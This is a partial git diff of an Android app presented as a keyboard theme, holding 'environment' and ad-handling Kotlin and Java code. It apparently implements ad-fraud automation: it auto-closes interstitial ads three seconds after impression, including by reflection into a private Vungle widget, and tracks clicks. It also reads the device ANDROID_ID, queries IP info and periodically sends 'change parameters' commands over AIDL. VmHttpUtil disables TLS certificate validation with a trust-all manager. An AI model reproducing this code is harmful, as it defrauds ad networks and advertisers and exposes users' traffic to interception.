countdownHandler.removeCallbacks(countdownRunnable) // 取消倒计时 + } + + /** + * 参数修改失败,重新修改倒计时 + */ + private var paramTimeLeft = 15 + private val countdownParamHandler = Handler(Looper.getMainLooper()) + private val countdownParamRunnable = object : Runnable { + override fun run() { + if (paramTimeLeft > 0) { + paramTimeLeft-- + countdownParamHandler.postDelayed(this, 1000) // 继续倒计时 + } else { + appendLoadingTxt("执行修改参数指令") + aidlClient.sendChangeParameters(packageName) + } + } + } + + private fun startParamCountdown() { + paramTimeLeft = 15 // 重新初始化时间 + countdownParamHandler.post(countdownParamRunnable) // 开始倒计时 + } + + private fun stopParamCountdown() { + countdownParamHandler.removeCallbacks(countdownParamRunnable) // 取消倒计时 + } +} diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/VmHttpUtil.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/VmHttpUtil.kt new file mode 100644 index 0000000..7ca643b --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/VmHttpUtil.kt @@ -0,0 +1,82 @@ +package com.keyborad.theme.trendyborad.environment + +import android.content.Context +import android.net.ConnectivityManager +import okhttp3.Callback +import okhttp3.MediaType.Companion.toMediaType +import okhttp3.OkHttpClient +import okhttp3.Request +import java.io.IOException +import java.security.SecureRandom +import java.security.cert.X509Certificate +import java.util.concurrent.TimeUnit +import javax.net.ssl.SSLContext +import javax.net.ssl.TrustManager +import javax.net.ssl.X509TrustManager + +class VmHttpUtil { + + fun isNetworkAvailable(context: Context): Boolean { + val connectivityManager = + context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager + val activeNetworkInfo = connectivityManager?.activeNetworkInfo + return activeNetworkInfo != null && activeNetworkInfo.isConnected + } + + private var mOkHttpClient: OkHttpClient? = null + + companion object { + val mInstance: VmHttpUtil by lazy(mode = LazyThreadSafetyMode.SYNCHRONIZED) { + VmHttpUtil() + } + } + + private val CONNECT_TIMEOUT: Long = 60 //超时时间,秒 + + private val READ_TIMEOUT: Long = 60 //读取时间,秒 + + private val WRITE_TIMEOUT: Long = 60 //写入时间,秒 + + init { + // ---- 不安全:信任所有证书(仅测试用) ---- + val trustAllCerts = arrayOf( + object : X509TrustManager { + override fun checkClientTrusted(chain: Array, authType: String) {} + override fun checkServerTrusted(chain: Array, authType: String) {} + override fun getAcceptedIssuers(): Array = arrayOf() + } + ) + + val sslContext = SSLContext.getInstance("TLS") + sslContext.init(null, trustAllCerts, SecureRandom()) + val sslSocketFactory = sslContext.socketFactory + + val builder: OkHttpClient.Builder = OkHttpClient.Builder() + .connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS) + .writeTimeout(READ_TIMEOUT, TimeUnit.SECONDS) + .readTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS) + .sslSocketFactory(sslSocketFactory, trustAllCerts[0] as X509TrustManager) + mOkHttpClient = builder.build() + } + + private val mediaType = "application/json; charset=utf-8".toMediaType() + + fun getIPInfo(url: String, callback: Callback) { + val request: Request = Request.Builder() + .url(url) + .get() + .build() + doAsync(request, callback) + } + + /** + * 异步请求 + */ + @Throws(IOException::class) + private fun doAsync(request: Request, callback: Callback) { + //创建请求会话 + val call = mOkHttpClient!!.newCall(request) + //同步执行会话请求 + call.enqueue(callback) + } +} \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/AdActivityManager.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/AdActivityManager.kt new file mode 100644 index 0000000..99a4996 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/AdActivityManager.kt @@ -0,0 +1,177 @@ +package com.keyborad.theme.trendyborad.environment.ad + +import android.annotation.SuppressLint +import android.app.Activity +import android.app.Application +import android.content.Context +import android.os.Bundle +import android.provider.Settings +import android.util.Log +import com.keyborad.theme.trendyborad.environment.ad.async.Async +import com.unity3d.services.ads.adunit.AdUnitActivity +import com.vungle.ads.internal.ui.AdActivity +import com.vungle.ads.internal.ui.view.MRAIDAdWidget + +class AdActivityManager { + private var mCurrentShowAd: Activity? = null//记录当前正在展示的inst广告Activity + private var mApplicationContext: Context? = null + private var mAID: String? = null + private var mListener: InstAdLeaveAndReturnListener? = null + private var isAdClosed = false//当广告点击了close按钮的时候 设置成true + private var isAdClicked = false//标记inst是否已是已点击状态 + + companion object { + val instance: AdActivityManager by lazy(mode = LazyThreadSafetyMode.SYNCHRONIZED) { + AdActivityManager() + } + + fun isAdActivity(activity: Activity): Boolean { + return ( + activity is com.tradplus.ads.mgr.interstitial.views.InterNativeActivity + || activity is com.vungle.ads.internal.ui.VungleActivity + || activity is com.vungle.ads.internal.ui.AdActivity + || activity is AdUnitActivity + ) + } + } + + fun getCurrentShowAd(): Activity? { + return mCurrentShowAd + } + + fun doDelayClose(delay: Long) { + Async.scheduleTaskOnUiThread(delay, Runnable { doClose() }) + } + + /** + *手动关闭当前显示的inst,具体支持哪些平台的inst,在 onActivityResumed 中添加 + */ + fun doClose() { + mCurrentShowAd?.let { adActivity -> + Log.d("ocean-brush", "自动关闭 $adActivity") + when (adActivity) { + is AdActivity ->{ + //反射方式关闭 + try { + // 获取 mraidAdWidget 字段 + val field = AdActivity::class.java.getDeclaredField("mraidAdWidget") + field.isAccessible = true + val widget = field.get(adActivity) as? MRAIDAdWidget + Log.d("ocean-brush", "调用 widget.close(),触发 CloseDelegate -> finish()") + widget?.close() ?: run { + // 没拿到 widget + adActivity.onBackPressed() + Log.d("ocean-brush", "liftoff关闭使用onBackPressed()") + } + } catch (e: Exception) { + adActivity.finish() + adActivity.moveTaskToBack(true) + Log.d("ocean-brush", "liftoff关闭错误,直接finish") + } + } + else -> { + //关闭广告act + adActivity.finish() + // 强制移除任务栈(适用于某些广告 Activity 仍然存活的情况) + adActivity.moveTaskToBack(true) + } + } + + } + } + + fun getContext(): Context? { + return mApplicationContext + } + + fun getAID(): String? { + return mAID + } + + fun addActivityLifeCallbacks(callbacks: Application.ActivityLifecycleCallbacks?) { + (mApplicationContext as Application).registerActivityLifecycleCallbacks(callbacks) + } + + fun removeActivityLifeCallbacks(callbacks: Application.ActivityLifecycleCallbacks?) { + (mApplicationContext as Application).unregisterActivityLifecycleCallbacks(callbacks) + } + + //在Application中调用 + @SuppressLint("HardwareIds") + fun setControl(application: Application) { + mApplicationContext = application + application.registerActivityLifecycleCallbacks(object : + Application.ActivityLifecycleCallbacks { + override fun onActivityCreated(activity: Activity, savedInstanceState: Bundle?) { + + } + + override fun onActivityStarted(activity: Activity) { + + } + + override fun onActivityResumed(activity: Activity) { + //此处添加想要控制的广告平台的inst Activity + try { + if (isAdActivity(activity)) { + mCurrentShowAd = activity + if (isAdClicked) { + //点击了admob inst跳转到外部,然后从外部返回app的时候触发 + mListener?.onReturnAdFromOutside() + } + } + } catch (e: Exception) { + } + } + + override fun onActivityPaused(activity: Activity) { + try { + if (mCurrentShowAd != null) { + if (isAdActivity(activity)) {//onActivityPaused会在很多场景下触发:1.退到桌面 2.去往app外部 3.被dialog挡住 4.广告点击了close按钮销毁的过程中 + if (!isAdClosed) {//isAdClosed这里就是为了排除"4.广告点击了close按钮销毁的过程中" + //需要在不同展示场景中实际测试 + mListener?.onLeaveAdGoOutside() + isAdClicked = true + } + } + } + } catch (e: Exception) { + } + } + + override fun onActivityStopped(activity: Activity) {} + override fun onActivitySaveInstanceState(activity: Activity, outState: Bundle) {} + override fun onActivityDestroyed(activity: Activity) { + Log.d("ocean-brush", "onActivityDestroyed $activity $mCurrentShowAd") + if (mCurrentShowAd === activity) { + mCurrentShowAd = null + isAdClosed = false + isAdClicked = false + mListener = null + } + } + }) + try { + mAID = hashCode().toString() + "" + if (mApplicationContext != null) { + mAID = Settings.Secure.getString( + mApplicationContext?.contentResolver, Settings.Secure.ANDROID_ID + ) + } + } catch (e: Exception) { + } + } + + fun setAdClose(isClosing: Boolean) { + isAdClosed = isClosing + } + + fun setInstAdListener(listener: InstAdLeaveAndReturnListener) { + mListener = listener + } + + interface InstAdLeaveAndReturnListener { + fun onLeaveAdGoOutside()//1.点击ad跳转到外部 2.app切换到后台 3.被dialog遮挡 + fun onReturnAdFromOutside()//从外部返回ad页面, 通常是点击ad跳转到外部后返回ad页面 + } +} \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/AdInstLoad.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/AdInstLoad.kt new file mode 100644 index 0000000..a4243a1 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/AdInstLoad.kt @@ -0,0 +1,81 @@ +package com.keyborad.theme.trendyborad.environment.ad + +import android.app.Activity +import android.util.Log +import com.tradplus.ads.base.bean.TPAdError +import com.tradplus.ads.base.bean.TPAdInfo +import com.tradplus.ads.open.interstitial.InterstitialAdListener +import com.tradplus.ads.open.interstitial.TPInterstitial + +class AdInstLoad { + private var mPlace: String + private var adLoadListener: LoadListener? = null + private var activity: Activity? = null + + constructor(activity: Activity, place: String, listener: LoadListener?) { + this.mPlace = place + this.adLoadListener = listener + this.activity = activity + init() + } + + constructor(place: String, listener: LoadListener?) { + this.mPlace = place + this.adLoadListener = listener + init() + } + + private fun init() { + val tpInterstitial = TPInterstitial(activity, mPlace) + tpInterstitial.setAdListener(object : InterstitialAdListener { + //广告加载完成 首个广告源加载成功时回调 一次加载流程只会回调一次 + override fun onAdLoaded(tpAdInfo: TPAdInfo?) { + if (tpAdInfo != null) { + Log.d("ocean", "广告load成功,tpAdInfo有值") + InstAdCacheManager.instance.setAdCache(mPlace, tpInterstitial) + adLoadListener?.loaded(tpAdInfo) + } else { + adLoadListener?.loadFailed("tpAdInfo没有值") + Log.d("ocean", "tpAdInfo没有值") + } + } + + // 广告被点击 + override fun onAdClicked(tpAdInfo: TPAdInfo?) { + Log.d("ocean", "tradplus onAdClicked") + } + + // 广告成功展示在页面上 + override fun onAdImpression(tpAdInfo: TPAdInfo?) { + Log.d("ocean", "tradplus onAdImpression") + } + + // 广告加载失败 + override fun onAdFailed(error: TPAdError?) { + adLoadListener?.loadFailed("code->${error?.errorCode}message->${error?.errorMsg}") + Log.d("ocean", "load ad onError->code->${error?.errorCode}message->${error?.errorMsg}") + } + + // 广告被关闭 + override fun onAdClosed(tpAdInfo: TPAdInfo?) { + Log.d("ocean", "tradplus onAdClosed") + } + + // 视频播放开始(部分广告源支持) + override fun onAdVideoStart(tpAdInfo: TPAdInfo?) { + Log.d("ocean", "tradplus onAdVideoStart") + } + + //视频播放结束(部分广告源支持) + override fun onAdVideoEnd(tpAdInfo: TPAdInfo?) { + Log.d("ocean", "tradplus onAdVideoEnd") + } + + //视频播放失败(部分广告源支持) + override fun onAdVideoError(tpAdInfo: TPAdInfo?, error: TPAdError?) { + Log.d("ocean", "onAdVideoError code->${error?.errorCode}message->${error?.errorMsg}") + } + }) + tpInterstitial.loadAd() + } +} \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/AdInstShower.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/AdInstShower.kt new file mode 100644 index 0000000..a6c84b4 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/AdInstShower.kt @@ -0,0 +1,79 @@ +package com.keyborad.theme.trendyborad.environment.ad + +import android.app.Activity +import android.util.Log +import com.keyborad.theme.trendyborad.environment.ad.async.Async +import com.tradplus.ads.base.bean.TPAdError +import com.tradplus.ads.base.bean.TPAdInfo +import com.tradplus.ads.open.interstitial.InterstitialAdListener + +class AdInstShower { + private var mPlace: String + private var showListener: ShowListener? = null + private var activity: Activity? = null + + constructor(activity: Activity, place: String, showListener: ShowListener?) { + this.mPlace = place + this.showListener = showListener + this.activity = activity + init() + } + + constructor(place: String, showListener: ShowListener?) { + this.mPlace = place + this.showListener = showListener + init() + } + + private fun init() { + val interstitialAd = InstAdCacheManager.instance.getAdCache(mPlace) + interstitialAd?.setAdListener(object : InterstitialAdListener { + //广告加载完成 首个广告源加载成功时回调 一次加载流程只会回调一次 + override fun onAdLoaded(tpAdInfo: TPAdInfo?) {} + + // 广告被点击 + override fun onAdClicked(tpAdInfo: TPAdInfo?) { + showListener?.onAdClicked() + Log.d("ocean", "AdInstShower 广告点击回调") + } + + // 广告成功展示在页面上 + override fun onAdImpression(tpAdInfo: TPAdInfo?) { + showListener?.onAdShown(tpAdInfo) + Log.d("ocean", "AdInstShower 广告展示回调") + autoClose() + } + + // 广告加载失败 + override fun onAdFailed(error: TPAdError?) {} + + // 广告被关闭 + override fun onAdClosed(tpAdInfo: TPAdInfo?) { + showListener?.onAdClosed() + Log.d("ocean", "AdInstShower 广告关闭回调") + } + + // 视频播放开始(部分广告源支持) + override fun onAdVideoStart(tpAdInfo: TPAdInfo?) {} + + //视频播放结束(部分广告源支持) + override fun onAdVideoEnd(tpAdInfo: TPAdInfo?) {} + + //视频播放失败(部分广告源支持) + override fun onAdVideoError(tpAdInfo: TPAdInfo?, error: TPAdError?) { + Log.d("ocean", "AdInstShower 视频广告播放失败回调->${error}") + showListener?.onAdShowFailed(AdShowFailed(error?.errorMsg.toString())) + } + }) + interstitialAd?.showAd(activity!!, mPlace) + } + + private fun autoClose() { + val autoCloseTime = 3000L + Log.d("ocean-brush", "show后开始等待自动关闭广告 $autoCloseTime") + Async.scheduleTaskOnUiThread(autoCloseTime, Runnable { + AdActivityManager.instance.doClose() + Log.d("ocean-brush", "show后执行关闭广告 $autoCloseTime") + }) + } +} \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/AdShowFailed.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/AdShowFailed.kt new file mode 100644 index 0000000..7ec35c1 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/AdShowFailed.kt @@ -0,0 +1,5 @@ +package com.keyborad.theme.trendyborad.environment.ad + +data class AdShowFailed( + val msg: String = "", +) \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/AdsInsUtil.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/AdsInsUtil.kt new file mode 100644 index 0000000..6b4a5ff --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/AdsInsUtil.kt @@ -0,0 +1,28 @@ +package com.keyborad.theme.trendyborad.environment.ad + +import android.app.Activity + +object AdsInsUtil { + + object Placement { + const val TOP_ON_AD_ONE = "F625C64CEF1F167289F1F50E27276A12" + const val TOP_ON_AD_TOW = "303439D05F7C6E4E0E0CA0D9FE803212" + const val TOP_ON_AD_THREE = "B94497028A74E381D75C0356BBA54512" + } + + fun loadAd( + act: Activity, + adID: String, + loadListener: LoadListener? + ): AdInstLoad { + return AdInstLoad(act, adID, loadListener) + } + + fun showAd( + act: Activity, + adID: String, + listener: ShowListener? + ): AdInstShower { + return AdInstShower(act, adID, listener) + } +} \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/InstAdCacheManager.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/InstAdCacheManager.kt new file mode 100644 index 0000000..2a33380 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/InstAdCacheManager.kt @@ -0,0 +1,35 @@ +package com.keyborad.theme.trendyborad.environment.ad + +import com.tradplus.ads.open.interstitial.TPInterstitial + +class InstAdCacheManager { + private val mAdCacheDict: MutableMap = mutableMapOf() + + companion object { + val instance: InstAdCacheManager by lazy(mode = LazyThreadSafetyMode.SYNCHRONIZED) { + InstAdCacheManager() + } + } + + fun setAdCache(place: String, adCache: TPInterstitial) { + mAdCacheDict[place] = adCache + } + + fun getAdCache(place: String): TPInterstitial? { + return mAdCacheDict[place] + } + + fun getLoadedInstCount(): Int { + var count = 0 + try { + mAdCacheDict.forEach { (key, value) -> + if (value.isReady) { + count += 1 + } + } + } catch (_: Exception) { + + } + return count + } +} \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/LoadListener.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/LoadListener.kt new file mode 100644 index 0000000..07a371b --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/LoadListener.kt @@ -0,0 +1,8 @@ +package com.keyborad.theme.trendyborad.environment.ad + +import com.tradplus.ads.base.bean.TPAdInfo + +interface LoadListener { + fun loadFailed(error: String) {} + fun loaded(ad: TPAdInfo) {} +} \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/ShowListener.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/ShowListener.kt new file mode 100644 index 0000000..7eba6d0 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/ShowListener.kt @@ -0,0 +1,10 @@ +package com.keyborad.theme.trendyborad.environment.ad + +import com.tradplus.ads.base.bean.TPAdInfo + +interface ShowListener { + fun onAdShown(ad: TPAdInfo?) {} + fun onAdShowFailed(error: AdShowFailed?) {} + fun onAdClosed() {} + fun onAdClicked() {} +} diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/Async.java b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/Async.java new file mode 100644 index 0000000..4db5912 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/Async.java @@ -0,0 +1,83 @@ +package com.keyborad.theme.trendyborad.environment.ad.async; + +import android.os.Handler; +import android.os.Looper; + +import java.util.concurrent.Callable; +import java.util.concurrent.Future; + +public class Async { + private static ThreadPoolExecutorWrapper sThreadPoolExecutorWrapper; + + private static ThreadPoolExecutorWrapper getThreadPoolExecutorWrapper() { + if (sThreadPoolExecutorWrapper == null) { + synchronized (Async.class) { + if (sThreadPoolExecutorWrapper == null) { + sThreadPoolExecutorWrapper = new ThreadPoolExecutorWrapper(12, 12, 10); +// if (BuildConfig.DEBUG) +// LogUtil.d(LogFilterDef.APP_INIT, LogHelper.getFileLineMethod(1)); + } + } + } + + return sThreadPoolExecutorWrapper; + } + + public static void run(Runnable task) { + getThreadPoolExecutorWrapper().executeTask(task); + } + + public static Future submit(Callable task) { + return getThreadPoolExecutorWrapper().submitTask(task); + } + + public static boolean isMainThread() { + return Thread.currentThread() == Looper.getMainLooper().getThread(); + } + + public static void schedule(long delay, Runnable task) { + getThreadPoolExecutorWrapper().scheduleTask(delay, task); + } + + public static void scheduleTaskAtFixedRateIgnoringTaskRunningTime(long initialDelay, long period, Runnable task) { + getThreadPoolExecutorWrapper().scheduleTaskAtFixedRateIgnoringTaskRunningTime(initialDelay, period, task); + } + + public static void scheduleTaskAtFixedRateIncludingTaskRunningTime(long initialDelay, long period, Runnable task) { + getThreadPoolExecutorWrapper().scheduleTaskAtFixedRateIncludingTaskRunningTime(initialDelay, period, task); + } + + public static boolean removeScheduledTask(Runnable task) { + return getThreadPoolExecutorWrapper().removeScheduledTask(task); + } + + public static void scheduleTaskOnUiThread(long delay, Runnable task) { + getThreadPoolExecutorWrapper().scheduleTaskOnUiThread(delay, task); + } + + public static void removeScheduledTaskOnUiThread(Runnable task) { + getThreadPoolExecutorWrapper().removeScheduledTaskOnUiThread(task); + } + + public static void runOnUiThread(Runnable task) { + getThreadPoolExecutorWrapper().runTaskOnUiThread(task); + } + + public static Handler getMainHandler() { + return getThreadPoolExecutorWrapper().getMainHandler(); + } + + /* + single background thread to execute Job + */ + public static void scheduleInQueue(Runnable task) { + getThreadPoolExecutorWrapper().scheduleOnQueue(task); + } + + public static void shutdown() { + if (sThreadPoolExecutorWrapper != null) { + sThreadPoolExecutorWrapper.shutdown(); + sThreadPoolExecutorWrapper = null; + } + } +} diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/HandlerPoster.java b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/HandlerPoster.java new file mode 100644 index 0000000..129c72c --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/HandlerPoster.java @@ -0,0 +1,140 @@ +package com.keyborad.theme.trendyborad.environment.ad.async; + +import android.os.Handler; +import android.os.Looper; +import android.os.Message; +import android.os.SystemClock; + +import java.util.LinkedList; +import java.util.Queue; + +public class HandlerPoster extends Handler { + + private final int ASYNC = 1; + + private final int SYNC = 2; + + private final Queue asyncPool; + + private final Queue syncPool; + + private final int maxMillisInsideHandleMessage; + + private boolean asyncActive;//执行状态。避免重复发送消息导致消息队列过多 + + private boolean syncActive;//执行状态。避免重复发送消息导致消息队列过多 + + HandlerPoster(Looper looper, int maxMillisInsideHandleMessage) { + super(looper); + this.maxMillisInsideHandleMessage = maxMillisInsideHandleMessage; + asyncPool = new LinkedList(); + syncPool = new LinkedList(); + } + + void dispose() { + this.removeCallbacksAndMessages(null); + this.asyncPool.clear(); + this.syncPool.clear(); + } + + void async(Runnable runnable) throws Exception { + synchronized (asyncPool) { + asyncPool.offer(runnable); + //判断当前是否有异步任务正在执行 + if (!asyncActive) { + asyncActive = true; + if (!sendMessage(obtainMessage(ASYNC))) { + throw new Exception("Could not send handler message"); + } + } + } + } + + void sync(SyncPost post) throws Exception { + synchronized (syncPool) { + syncPool.offer(post); + //判断当前是否有同步任务正在执行 + if (!syncActive) { + syncActive = true; + if (!sendMessage(obtainMessage(SYNC))) { + throw new Exception("Could not send handler message"); + } + } + } + } + + @Override + public void handleMessage(Message msg) { + if (msg.what == ASYNC) { + boolean rescheduled = false; + try { + //当执行完一个任务后就判断一次是否超过时间限制,如果超过,那么不管队列中的任务是否执行完成都退出,同时发起一个新的消息到Handler循环队列 + //在while部分,使用poll从队列取出一个任务,判断是否为空,如果为空进入队列同步块;然后再取一次,再次判断。 + //如果恰巧在进入同步队列之前有新的任务来了,那么第二次取到的当然就不是 NULL也就会继续执行下去。 + //反之,如果还是为空;那么重置当前队列的状态为false,同时跳出循环。 + long started = SystemClock.uptimeMillis(); + while (true) { + Runnable runnable = null; + synchronized (asyncPool){ + runnable = asyncPool.size()==0?null:asyncPool.poll();//2018.12.24 add by xw 如果为空就去null + } + if (runnable == null) { + synchronized (asyncPool) { + // Check again, this time in synchronized + runnable = asyncPool.poll(); + if (runnable == null) { + asyncActive = false; + return; + } + } + } + runnable.run(); + long timeInMethod = SystemClock.uptimeMillis() - started; + if (timeInMethod >= maxMillisInsideHandleMessage) { + if (!sendMessage(obtainMessage(ASYNC))) { + throw new Exception("Could not send handler message"); + } + rescheduled = true; + return; + } + } + } catch (Exception e) { + e.printStackTrace(); + } finally { + asyncActive = rescheduled; + } + } else if (msg.what == SYNC) { + boolean rescheduled = false; + try { + long started = SystemClock.uptimeMillis(); + while (true) { + SyncPost post = syncPool.poll(); + if (post == null) { + synchronized (syncPool) { + // Check again, this time in synchronized + post = syncPool.poll(); + if (post == null) { + syncActive = false; + return; + } + } + } + post.run(); + long timeInMethod = SystemClock.uptimeMillis() - started; + if (timeInMethod >= maxMillisInsideHandleMessage) { + if (!sendMessage(obtainMessage(SYNC))) { + throw new Exception("Could not send handler message"); + } + rescheduled = true; + return; + } + } + } catch (Exception e) { + e.printStackTrace(); + } finally { + syncActive = rescheduled; + } + } else + super.handleMessage(msg); + } +} diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/MainThreadSwitcher.java b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/MainThreadSwitcher.java new file mode 100644 index 0000000..34e0c37 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/MainThreadSwitcher.java @@ -0,0 +1,73 @@ +package com.keyborad.theme.trendyborad.environment.ad.async; + +import android.os.Looper; + +/** + * 网上找到的关于子线程切换到主线程的代码,实现子线程任意时刻切换到主线程,并可选择地阻塞子线程。 + * 此方案避免handler满天飞的情况。 + * 参考资料:http://c.jinhusns.com/cms/c-884 + * Created by DonWZ on 2016-10-18 + */ +public class MainThreadSwitcher { + private static HandlerPoster mainPoster = null; + + private static HandlerPoster getMainPoster() { + if (mainPoster == null) { + synchronized (MainThreadSwitcher.class) { + if (mainPoster == null) { + mainPoster = new HandlerPoster(Looper.getMainLooper(), 500);//限制主线程单次运行时间 + } + } + } + return mainPoster; + } + + /** + * Asynchronously. + * The child thread asynchronous run relative to the main thread, + * not blocking the child thread + * @param runnable + * Runnable Interface + */ + public static void runOnMainThreadAsync(Runnable runnable) { + if (Looper.myLooper() == Looper.getMainLooper()) { + runnable.run(); + return; + } + try { + getMainPoster().async(runnable); + } catch (Exception e) { + e.printStackTrace(); + } + } + + /** + * + * Synchronously. + * The child thread relative thread synchronization operation, + * blocking the child thread, + * thread for the main thread to complete + * @param runnable + * Runnable Interface + */ + public static void runOnMainThreadSync(Runnable runnable) { + if (Looper.myLooper() == Looper.getMainLooper()) { + runnable.run(); + return; + } + SyncPost poster = new SyncPost(runnable); + try { + getMainPoster().sync(poster); + } catch (Exception e) { + e.printStackTrace(); + } + poster.waitRun(); + } + + public static void dispose() { + if (mainPoster != null) { + mainPoster.dispose(); + mainPoster = null; + } + } +} diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/SyncPost.java b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/SyncPost.java new file mode 100644 index 0000000..215f4ac --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/SyncPost.java @@ -0,0 +1,44 @@ +package com.keyborad.theme.trendyborad.environment.ad.async; + +public class SyncPost { + + boolean end = false; + + Runnable runnable; + + SyncPost(Runnable runnable) { + this.runnable = runnable; + } + + public void run() { + //进入同步块,然后调用Runnable接口的run方法。同时在执行完成后将end重置为true; + //然后调用this.notifyAll();通知等待的部分可以继续了,当然有这样的情况;假如在进入该同步块的时候子线程还未执行到this.wait();部分呢? + //所以我们为此准备了end和try。 + synchronized (this) { + runnable.run(); + end = true; + try { + this.notifyAll(); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + public void waitRun() { + //首先判断状态,如果状态已经变了,那么证明子线程执行到此处时,主线程已经执行了void_run()。 + //所以也就不用进入同步块进行等待了。反之进入等待直到主线程调用this.notifyAll(); + if (!end) { + synchronized (this) { + if (!end) { + try { + this.wait(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + } + } + } + +} diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/TaskQueue.java b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/TaskQueue.java new file mode 100644 index 0000000..9d84f65 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/TaskQueue.java @@ -0,0 +1,46 @@ +package com.keyborad.theme.trendyborad.environment.ad.async; + +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; + +public class TaskQueue extends Thread{ + private BlockingQueue mQueue; + + public TaskQueue() { + mQueue = new LinkedBlockingQueue(); + } + + public TaskQueue(String name) { + this(); + setName(name); + } + + public void stopTaskQueue() { + // use 'Poison Pill Shutdown' to stop the task queue + // add a non-Runnable object, which will be recognized as the command + // by the thread to break the infinite loop + mQueue.add(new Object()); + } + + public void scheduleTask(Runnable task) { + mQueue.add(task); + } + + @Override + public void run() { + while (true) { + try { + Object obj = mQueue.take(); + + if (obj instanceof Runnable) { + ((Runnable) obj).run(); + obj = null; + } else { + break; + } + + } catch (InterruptedException e) { + } + } + } +} diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/ThreadPoolExecutorWrapper.java b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/ThreadPoolExecutorWrapper.java new file mode 100644 index 0000000..c1b7764 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/ad/async/ThreadPoolExecutorWrapper.java @@ -0,0 +1,158 @@ +package com.keyborad.theme.trendyborad.environment.ad.async; + +import android.os.Handler; +import android.os.Looper; + +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.Callable; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Future; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.ScheduledFuture; +import java.util.concurrent.ScheduledThreadPoolExecutor; +import java.util.concurrent.ThreadPoolExecutor; +import java.util.concurrent.TimeUnit; + +public class ThreadPoolExecutorWrapper { + private static final Long IDLE_THREAD_KEEP_ALIVE_TIME = 60L; + private ExecutorService mThreadPoolExecutor;//normal thread pool + private ScheduledThreadPoolExecutor mScheduledThreadPoolExecutor;//can schedule task thread pool + private Handler mMainHandler; + private TaskQueue mActionQueue; + private Map mScheduledJobRecord = new HashMap<>();//ScheduledThreadPoolExecutor will wrap Runnable, so we record this + private Object mScheduledJobRecordMutex = new Object(); + + /* + maxThreadCount:thread pool max thread count + activeThreadCount:thread pool min thread count even if all thread is idle + IDLE_THREAD_KEEP_ALIVE_TIME:IDLE thread will be shutdown when TIME_OUT if (maxThreadCount - activeThreadCount) > 0 + */ + public ThreadPoolExecutorWrapper(int activeThreadCount, int maxThreadCount, int maxScheTaskThread) { + mThreadPoolExecutor = new ThreadPoolExecutor(activeThreadCount, maxThreadCount, + IDLE_THREAD_KEEP_ALIVE_TIME, TimeUnit.SECONDS, + new LinkedBlockingQueue()); + + if (maxScheTaskThread > 0) { + mScheduledThreadPoolExecutor = new ScheduledThreadPoolExecutor(maxScheTaskThread); + } + + mMainHandler = new Handler(Looper.getMainLooper()); + mActionQueue = new TaskQueue(Async.class.getName()); + mActionQueue.start(); + } + + public void executeTask(Runnable task) { + if (task == null) { + return; + } + + mThreadPoolExecutor.execute(task); + } + + public Future submitTask(Callable task) { + return mThreadPoolExecutor.submit(task); + } + + public void scheduleTask(long delay, Runnable task) { + if (task == null) { + return; 